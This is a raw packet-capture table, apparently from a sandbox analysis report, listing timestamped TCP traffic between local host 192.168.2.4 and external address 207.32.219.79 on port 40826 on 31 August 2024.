Aug 31, 2024 22:02:07.713999987 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714008093 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714015961 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714023113 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714030981 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714041948 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714050055 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714067936 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714076042 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714083910 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714092016 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714124918 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714133024 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714170933 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714179039 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714236021 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714242935 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714251041 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714258909 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714283943 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714293003 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714335918 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714344978 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714351892 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714359999 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714369059 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714375973 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714425087 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714432955 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714441061 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714447975 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714473009 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714481115 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714488983 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714545965 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714554071 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714557886 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714560986 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714570045 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714576960 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714581013 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714606047 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714613914 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714622021 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714628935 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714632988 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714649916 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714657068 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714663982 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714706898 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714715958 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714723110 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714741945 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714750051 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714767933 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714775085 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714799881 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714808941 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714855909 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714864969 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714871883 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714889050 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714898109 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714905024 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714986086 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714994907 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.714998007 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715004921 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715012074 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715020895 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715028048 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715032101 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715045929 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715053082 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715059996 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715068102 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715110064 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715117931 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715121984 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715125084 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715132952 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715141058 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715148926 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715190887 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715198994 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715207100 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715246916 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715255976 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715262890 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715322971 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715331078 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715338945 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715346098 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715349913 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715354919 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715363026 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715369940 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715406895 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715478897 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715487003 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715493917 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715502024 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715508938 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715516090 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715526104 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715636969 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715645075 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715652943 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715661049 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715667963 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715676069 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715684891 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715692043 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715720892 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715728998 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715733051 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715735912 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715744972 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715753078 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715755939 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715826035 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715833902 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715841055 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715892076 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715900898 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715908051 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715917110 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715925932 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715934038 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.715950966 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716002941 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716104031 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716111898 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716121912 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716130018 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716133118 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716135979 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716144085 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716151953 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716171026 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716180086 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716187000 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716195107 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716202021 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716314077 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716322899 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716330051 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716341972 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716348886 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716353893 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716362000 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716365099 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716373920 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716381073 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716388941 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716473103 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716487885 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716496944 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716505051 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716512918 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716521025 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716528893 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716531992 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716545105 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716552019 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716559887 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716567039 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716573954 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716582060 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716586113 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716588974 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716597080 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716603994 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716618061 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716624975 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716631889 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716639042 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716645956 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716655016 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716661930 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716680050 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716687918 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716697931 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716787100 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716794968 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716834068 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716842890 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716964960 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716973066 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716976881 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716984034 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.716990948 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717004061 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717010975 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717019081 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717026949 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717034101 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717051029 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717058897 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717066050 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717073917 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717082977 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717089891 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717205048 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717212915 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717220068 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717227936 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717235088 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717242956 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717250109 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717257977 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717264891 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717272043 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717286110 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717293978 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717308998 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717317104 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717324018 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717360020 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717367887 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717375040 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717382908 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717390060 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717397928 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717405081 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717412949 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717420101 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717452049 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717461109 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717473030 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717480898 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717488050 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717495918 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717499971 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717509985 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717516899 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717525005 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717528105 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717530966 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717547894 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717556000 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717559099 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717561960 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717565060 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717573881 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717581034 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717587948 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717591047 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717598915 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717606068 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717613935 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717813015 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717822075 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.717828035 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:07.760823011 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:08.807955027 CEST	40826	49732	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:08.809668064 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:08.815217018 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:08.815295935 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:08.815929890 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:08.821077108 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:08.849656105 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.162516117 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.169686079 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.169698954 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.169707060 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.169717073 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.169802904 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.169812918 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.169821978 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.169827938 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.169831038 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.169862032 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.169889927 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.169936895 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.170124054 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.170164108 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.170460939 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.176244974 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.176254034 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.176263094 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.176393986 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.176409006 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.176424980 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.176517963 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.176518917 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.178536892 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.216871977 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.217189074 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.248127937 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.248413086 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.255744934 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.255754948 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.255772114 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.255780935 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.255791903 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.255820990 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.255824089 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.255880117 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.255889893 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.255911112 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.255918026 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.255950928 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.255955935 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.255970955 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.255975008 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256000042 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256007910 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.256031990 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.256072044 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256098032 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.256127119 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256158113 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.256186008 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256231070 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.256261110 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256292105 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256310940 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.256346941 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256392956 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.256418943 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256443977 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256474972 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.256525040 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256566048 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.256586075 CEST	49733	40826	192.168.2.4	207.32.219.79
